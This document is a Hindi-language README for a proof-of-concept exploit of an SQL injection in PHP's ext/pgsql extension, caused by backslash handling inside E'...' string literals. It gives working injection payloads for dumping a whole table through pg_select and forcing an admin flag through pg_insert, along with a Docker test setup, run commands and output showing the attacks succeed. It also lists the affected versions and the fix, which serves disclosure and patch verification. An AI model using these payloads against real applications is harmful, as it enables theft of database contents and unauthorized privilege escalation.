
CVE-2026-17543 के लिए PoC एक्सप्लॉइट: PHP ext/pgsql में बैकस्लैश ब्रेकआउट के माध्यम से SQL इंजेक्शन, PostgreSQL के लिए डेटा एक्सफ़िल्ट्रेशन और एडमिन विशेषाधिकार-वृद्धि पेलोड के साथ।
ext/pgsql में SQL इंजेक्शन, E'...' बैकस्लैश ब्रेकआउट के माध्यम सेCVE-2026-17543 (CVSS 9.8 क्रिटिकल, CWE-89) के लिए प्रूफ ऑफ कॉन्सेप्ट — PHP के प्रोसीजरल PostgreSQL एक्सटेंशन में SQL इंजेक्शन भेद्यता।
pg_insert(), pg_select(), pg_update(), pg_delete() और pg_convert() सभी
स्ट्रिंग मानों को php_pgsql_convert() के माध्यम से भेजते हैं, जो:
PQescapeStringConn() से एस्केप करता है — जो
standard_conforming_strings = on (9.1 से PostgreSQL का डिफ़ॉल्ट) होने पर ' को
'' में दोगुना कर देता है और \ को अछूता छोड़ देता है (एक मानक '...' लिटरल के लिए सही)।php_pgsql_add_quotes() से एक सादे '...' के बजाय
एस्केप-स्ट्रिंग कॉन्स्टेंट E'...' में लपेटता है।E'...' के अंदर, बैकस्लैश एक एस्केप कैरेक्टर होता है, इसलिए क्वोट से पहले रखा गया \
क्वोट-डबलिंग को निष्क्रिय कर देता है: \' एक शाब्दिक ' बन जाता है, और दूसरा
क्वोट — जिसे एस्केपर ने दोगुने लिटरल के रूप में वहाँ रखा था — अब स्ट्रिंग को
समय से पहले समाप्त कर देता है। इसके बाद की हर चीज़ कच्चा, इंजेक्ट किया गया SQL है।
आधिकारिक फिक्स (कमिट ab048bd83b57) केवल एक कैरेक्टर का है: E'...' के बजाय '...' उत्सर्जित करना।
| ब्रांच | असुरक्षित | सुधारित |
|---|---|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
प्रभावित नहीं: pg_query_params() (वास्तविक पैरामीटर बाइंडिंग) और PDO_PGSQL
प्रीपेयर्ड स्टेटमेंट / PDO::quote() — ये भिन्न कोड पाथ का उपयोग करते हैं जो
php_pgsql_add_quotes() को कभी कॉल नहीं करते।
zzz\' OR 1=1 --
(सिंगल क्वोट के ठीक पहले एक बैकस्लैश)
... WHERE "name"=E'zzz\'' OR 1=1 --' उत्सर्जित करता है → OR 1=1
SQL के रूप में पार्स होता है → हर पंक्ति लौटाता है।... WHERE "name"='zzz\'' OR 1=1 --' उत्सर्जित करता है → बैकस्लैश
सामान्य होता है, इसलिए OR 1=1 -- स्ट्रिंग लिटरल के अंदर समा जाता है → कुछ मेल नहीं खाता।एक दूसरा पेलोड (eve\', true) --) pg_insert() के माध्यम से प्रिविलेज एस्केलेशन
प्रदर्शित करता है, जो admin कॉलम को true पर बाध्य कर देता है।
| फ़ाइल | विवरण |
|---|---|
poc.php | pg_select डेटा-एक्सफिल्ट्रेशन और pg_insert प्रिविलेज-एस्केलेशन दोनों वेरिएंट प्रदर्शित करता है; उत्पन्न SQL को प्रिंट करता है ताकि E'...' टोकन दिखाई दे |
Dockerfile | ext/pgsql के साथ एक असुरक्षित PHP CLI इमेज (php:8.4.23-cli) को पिन करता है |
docker-compose.yml | PostgreSQL 16 + असुरक्षित PHP कंटेनर चालू करता है और poc.php चलाता है |
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
पैच किए गए बिल्ड पर उत्पन्न SQL में '...' होता है (E के बिना), [1] rows returned: 0 /
no injection रिपोर्ट करता है, और [2] admin flag: 'f' रिपोर्ट करता है।
PGCONN को किसी भी PostgreSQL की ओर इंगित करें और एक असुरक्षित PHP के साथ चलाएँ:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql
(--with-pgsql / pgsql एक्सटेंशन) के साथ कंपाइल किया गया हो।standard_conforming_strings = on वाला)।docker compose down -v
यहाँ उपयोग की गई PHP इमेज, परिभाषा के अनुसार, CVE-2026-17543 के लिए अनपैच्ड है। इसे केवल
एक पृथक, डिस्पोज़ेबल कंटेनर में चलाएँ, और काम समाप्त होने पर docker compose down -v करें। इस PoC को
कभी भी किसी ऐसे डेटाबेस की ओर इंगित न करें जिसकी आपको परवाह है।